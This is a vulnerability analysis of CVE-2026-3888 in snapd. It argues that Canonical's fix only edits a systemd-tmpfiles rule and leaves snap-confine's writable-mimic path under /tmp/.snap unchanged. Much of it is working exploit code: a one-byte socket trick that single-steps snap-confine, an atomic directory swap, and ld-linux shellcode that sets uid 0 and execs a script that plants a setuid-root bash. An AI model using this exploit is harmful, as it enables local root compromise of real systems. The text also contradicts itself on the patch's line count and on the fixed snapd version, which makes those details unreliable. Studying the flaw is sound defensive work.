The fix Canonical shipped for CVE-2026-3888 is three lines in data/systemd-tmpfiles/snapd.conf. None of them is in snap-confine. snap-confine is the SUID-root binary the CVE is about; the bug is that snap-confine bind-mounts files from /tmp/.snap into a sandbox during writable-mimic construction, and an unprivileged caller controls every directory between /tmp and /tmp/.snap. The 2.75.1 patch does not change which path snap-confine trusts. It changes the tmpfiles.d configuration so that systemd-tmpfiles is no longer permitted to delete the directory snap-confine relies on, removing the only routine mechanism that lets the trusted path enter a state where an unprivileged user can pre-create it.
CVE-2026-3888: snapd's Fix Lives in a systemd-tmpfiles Config. snap-confine Is Unchanged.
vendor
pattern
cve
proof of concept
The writable mimic is what snap-confine cannot stop using
A snap on Ubuntu runs inside a mount namespace that hides the host's /usr/lib/x86_64-linux-gnu and replaces it with a writable view assembled at runtime. The mechanism is called a "writable mimic," and it is implemented in cmd/snap-update-ns/utils.go. snap-confine, which executes setuid-root on Ubuntu 24.04 and with elevated capabilities on 25.10+, invokes snap-update-ns to perform this construction inside the snap's namespace.
planWritableMimic is the procedure. The plan it produces, for a target directory dir, is four steps in order:
// planWritableMimic plans how to transform a given directory from read-only to writable.
func planWritableMimic(dir, neededBy string) ([]*Change, error) {
// We need a place for "safe keeping" of what is present in the original
// directory as we are about to attach a tmpfs there, which will hide
// everything inside.
logger.Debugf("create-writable-mimic %q", dir)
safeKeepingDir := filepath.Join("/tmp/.snap/", dir)The first line that matters is the construction of safeKeepingDir. The path is a string concatenation with /tmp/.snap/ as the prefix. dir is the directory being mimicked, for example /usr/lib/x86_64-linux-gnu. The safekeeping path becomes /tmp/.snap/usr/lib/x86_64-linux-gnu. From the snap's view inside the mount namespace this is /tmp/.snap/usr/lib/x86_64-linux-gnu. From the host's view it is /tmp/snap-private-tmp/snap.firefox/tmp/.snap/usr/lib/x86_64-linux-gnu.
The plan then issues four operations against that safekeeping path:
rbindmountdirontosafeKeepingDir. The original/usr/lib/x86_64-linux-gnubecomes accessible at/tmp/.snap/usr/lib/x86_64-linux-gnu.- Mount
tmpfsoverdir. The original directory is hidden behind an empty writable filesystem. - For every entry the procedure read from
dirat plan time, bind-mountsafeKeepingDir/<entry>ontodir/<entry>. Each library and the dynamic linker get restored to the tmpfs, one bind mount per file. - Unmount
safeKeepingDir.
Step 3 is the load-bearing step. safeKeepingDir/<entry> is the source path of every bind mount that re-populates the tmpfs. The kernel's bind mount uses that path to resolve the source inode. Whatever the path resolves to at the moment of the syscall is what ends up bind-mounted into the snap's /usr/lib/x86_64-linux-gnu.
safeKeepingDir is in /tmp. Every parent directory of safeKeepingDir, up to and including /tmp/.snap, is created on demand by the snap-update-ns code path. The mode and ownership of those parent directories is whatever they were when they were created.
Step 1 logs. The window is between step 1 and step 3.
change.go:361 is the debug log that snap-update-ns prints after every mount operation, including the bind mount at step 1 of the writable-mimic plan:
logger.Debugf("mount name:%q dir:%q type:%q opts:%s unparsed:%q (error: %v)",
c.Entry.Name, c.Entry.Dir, c.Entry.Type, strings.Join(mountOpts, "|"), strings.Join(unparsed, ","), err)When step 1 binds /usr/lib/x86_64-linux-gnu to /tmp/.snap/usr/lib/x86_64-linux-gnu, this line writes a record to stderr of the form mount name:"/usr/lib/x86_64-linux-gnu" dir:"/tmp/.snap/usr/lib/x86_64-linux-gnu" type:"" opts:bind unparsed:"" (error: <nil>). The string only appears with SNAPD_DEBUG=1 in the environment, which an unprivileged caller may set freely.
snap-confine's writable-mimic construction is sequential and synchronous. Between the debug log line that announces step 1's completion and step 3's first bind-mount-back syscall, the process is doing housekeeping in the same thread. The window between those two events is short, but it is not zero, and it is not protected by anything that prevents an unprivileged process from modifying the safekeeping path's parent directories.
The unprivileged caller's job, before the writable mimic ever runs, is to populate /tmp/.snap/usr/lib/x86_64-linux-gnu.exchange with their own copy of every library and a forged ld-linux-x86-64.so.2 that calls setreuid(0, 0) and execve("/tmp/sh"). The caller owns /tmp/.snap, /tmp/.snap/usr, /tmp/.snap/usr/lib, and /tmp/.snap/usr/lib/x86_64-linux-gnu.exchange, because they are the user who created the directory tree.
When step 1's debug line fires, the caller swaps the two directories:
syscall(SYS_renameat2, AT_FDCWD, ".snap/usr/lib/x86_64-linux-gnu",
AT_FDCWD, ".snap/usr/lib/x86_64-linux-gnu.exchange",
RENAME_EXCHANGE);RENAME_EXCHANGE is atomic. After the call, the path .snap/usr/lib/x86_64-linux-gnu resolves to the directory the attacker populated. Step 3 of the mimic, which has not yet started, will bind-mount /tmp/.snap/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 onto /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 in the snap's tmpfs. That source path now points at the attacker's ld-linux.
Single-stepping snap-confine via a one-byte socket
The PoC for CVE-2026-3888 does not depend on guessing when step 1 finishes. It single-steps snap-confine's debug output through a Unix-domain socket whose buffers are sized to one byte:
int sv[2];
socketpair(AF_UNIX, SOCK_STREAM, 0, sv);
int one = 1;
setsockopt(sv[0], SOL_SOCKET, SO_RCVBUF, &one, sizeof(one));
setsockopt(sv[0], SOL_SOCKET, SO_SNDBUF, &one, sizeof(one));
setsockopt(sv[1], SOL_SOCKET, SO_RCVBUF, &one, sizeof(one));
setsockopt(sv[1], SOL_SOCKET, SO_SNDBUF, &one, sizeof(one));sv[1] becomes snap-confine's STDERR_FILENO after dup2. The parent reads from sv[0] one byte at a time. Each byte snap-confine writes to stderr blocks until the parent has read the previous one. The debug-log call that announces step 1 is now happening byte by byte under the parent's control, with every other write in snap-confine's stderr path subject to the same backpressure.
The parent maintains a 4096-byte ring buffer and scans it after each byte for the trigger string:
#define TRIGGER "dir:\"/tmp/.snap/usr/lib/x86_64-linux-gnu\""When the trigger matches, snap-confine has just emitted the log line for step 1's bind mount, which means step 1 succeeded and step 3 has not begun. The parent fires renameat2 immediately. Then it forks a drainer process to keep the socket draining (so that subsequent stderr writes by snap-confine do not block and abort the rest of the mimic), and waits five seconds for snap-confine to finish step 3 and exec the inner shell:
pid_t drainer = fork();
if (drainer == 0) {
char sink;
while (read(rd, &sink, 1) > 0)
;
_exit(0);
}
close(rd);
sleep(5);This is not a TOCTOU race won by luck. It is a deterministic single-step achieved by sizing the kernel's socket buffer to one byte and consuming snap-confine's stderr stream in lockstep with its execution.
Step 3 bind-mounts what the attacker put there
Step 3 of the mimic, when it runs, iterates the entries the procedure recorded at plan time and issues a bind mount per entry. The source path for the ld-linux-x86-64.so.2 bind mount is /tmp/.snap/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2, which now resolves through the attacker's swapped directory. The kernel binds the attacker's file onto the path the snap will use as its dynamic linker.
snap-confine, still running setuid-root, then invokes itself a second time inside the freshly mimicked namespace:
snprintf(cmd, sizeof(cmd),
"systemd-run --user --scope --quiet "
"--unit=snap.cve3888.%d.%d -- "
"env -i SNAP_INSTANCE_NAME=firefox "
"%s --base core22 "
"snap.firefox.hook.configure "
"%s 2>&1",
getpid(), g_unit_seq++, SNAP_CONFINE, SNAP_CONFINE);The inner snap-confine is also setuid-root. When the kernel loads its ld-linux-x86-64.so.2, it loads the attacker's binary, mapped from the bind mount step 3 installed. The attacker's ld-linux is fifteen lines of inline assembly:
void _start(void) {
__asm__ volatile (
"xor %%rdi, %%rdi\n"
"xor %%rsi, %%rsi\n"
"mov $0x71, %%rax\n" /* __NR_setreuid = 113 */
"syscall\n"
::: "rax", "rdi", "rsi"
);
__asm__ volatile (
"xor %%rdi, %%rdi\n"
"xor %%rsi, %%rsi\n"
"mov $0x72, %%rax\n" /* __NR_setregid = 114 */
"syscall\n"
::: "rax", "rdi", "rsi"
);
__asm__ volatile (
"mov $0x68732f706d742f, %%rax\n" /* "/tmp/sh\0" */
"push %%rax\n"
"mov %%rsp, %%rdi\n"
"push $0\n"
"push %%rdi\n"
"mov %%rsp, %%rsi\n"
"xor %%rdx, %%rdx\n"
"mov $0x3b, %%rax\n" /* __NR_execve = 59 */
"syscall\n"
::: "rax", "rdi", "rsi", "rdx"
);
}The setreuid is unconditional. The inner snap-confine ran setuid-root, so the kernel-resident real-uid bookkeeping permits the transition. execve then runs /tmp/sh, which the PoC planted as a busybox-shebanged shell script that copies /bin/bash to /var/snap/firefox/common/bash and applies mode 04755. The escape ends with a setuid-root bash binary owned by the unprivileged user, sitting in a path that AppArmor lets the user execute outside the snap sandbox.
The patch is in data/systemd-tmpfiles/snapd.conf
The fix Canonical shipped for CVE-2026-3888 is in pull request #16776, titled "data: more precise prune pattern for tmpfiles (CVE-2026-3888)." The diff is in one file and adds two lines:
-# make sure the snap's private tmp folders are
-# not reaped by age if configured by the system (noble+)
-# this will still let the contents be reaped, just not the
-# folder itself
+# Allow removing content in the private tmp folders without affecting the
+# architectural structure of the folders themselves.
X /tmp/snap-private-tmp
+X /tmp/snap-private-tmp/*/tmp
+x /tmp/snap-private-tmp/*/tmp/.snapThe preexisting X /tmp/snap-private-tmp excludes /tmp/snap-private-tmp itself from systemd-tmpfiles age cleanup, but the systemd documentation for the X directive is explicit that it does not exclude contents of subdirectories. The default tmp.conf on Ubuntu 24.04 LTS is q /tmp 1777 root root 30d, and on 25.10+ is q /tmp 1777 root root 10d. Both rules walk /tmp recursively. The directory /tmp/snap-private-tmp/snap.firefox/tmp/.snap, which is the host-side path of /tmp/.snap from inside the snap's mount namespace, was reachable from those rules. After thirty days (or ten) of no access, systemd-tmpfiles deleted it.
After deletion, the next snap-confine invocation that triggered a writable mimic would attempt to create the safekeeping path under /tmp/.snap. The directory creation in secure_mkdir runs as snap-update-ns, which runs as the unprivileged calling user inside the namespace. If /tmp/.snap did not exist, the user could mkdir it first with their own ownership, and every subsequent safekeeping path inherited that ownership.
The two new lines stop that. X /tmp/snap-private-tmp/*/tmp excludes every snap's private /tmp from age cleanup, including subdirectory contents. x /tmp/snap-private-tmp/*/tmp/.snap excludes the .snap directory itself from cleanup. After the patch, /tmp/.snap is created once, owned by root, and never deleted by the normal cleanup pipeline.
cmd/snap-update-ns/utils.go is not in the diff. planWritableMimic still reads:
safeKeepingDir := filepath.Join("/tmp/.snap/", dir)snap-confine still bind-mounts from there. Step 3 of the mimic still resolves entries by walking the parent directories on every invocation, and those directories still live in a path tree rooted at /tmp/snap-private-tmp/<snap>/tmp/.snap, which is the snap's writable /tmp from the namespace's view. The path is no longer subject to systemd-tmpfiles cleanup. It remains in a location the calling user has a writable mount to.
What snap-confine still trusts
snap-confine is an exhibit of the Unpatchable Primitive pattern. The writable mimic mechanism is the design. A snap needs a writable /usr/lib/x86_64-linux-gnu because some snap layouts require additional mountpoints inside paths the host shipped read-only. The mimic constructs that writable view by hiding the original behind tmpfs and bind-mounting each entry back from a safekeeping location. The safekeeping location has to be writable, and it has to be available before the mimic begins constructing the namespace. /tmp/.snap is the path the design chose. Removing the dependency on /tmp would require the mimic to use a path snap-confine creates itself with privileged semantics, before any unprivileged code can touch the tree. The patch does not make that change.
The patch removes one mechanism, age-based cleanup by systemd-tmpfiles, that lets an unprivileged user observe /tmp/.snap in a state where they can pre-create it. Other mechanisms continue to exist. Manual tmpfiles.d overrides on Ubuntu derivatives may apply different rules; container images that ship their own tmpfiles policy may not include the snapd exception; recovery scenarios in which /tmp is recreated by an init script or by an admin running systemd-tmpfiles --remove re-enter the unpatched state. The Qualys advisory's note that /var/lib-mimic exploitation works against Ubuntu 25.10 (where snap-confine lost setuid but kept cap_chown, cap_dac_override, cap_sys_admin) is a different instance of the same primitive: a privileged caller bind-mounts from a path tree whose parents include an attacker-writable component.
CVE-2026-3888's CVE record will say the fix is in snapd 2.74.2 (and the 2.73+ubuntu backports). The CVE will be closed. The Ubuntu security tracker will mark it resolved. The diff that resolves it is in a configuration file, not in the binary the CVE names. The next time /tmp/.snap enters a state where an unprivileged user can pre-create it, by any path that does not depend on systemd-tmpfiles, the writable mimic returns to being a setuid-root bind-mount from an attacker-controlled directory tree.
The patch closes this CVE. snap-confine's writable-mimic safekeeping path is still /tmp/.snap, and the next mechanism that empties it reopens the primitive.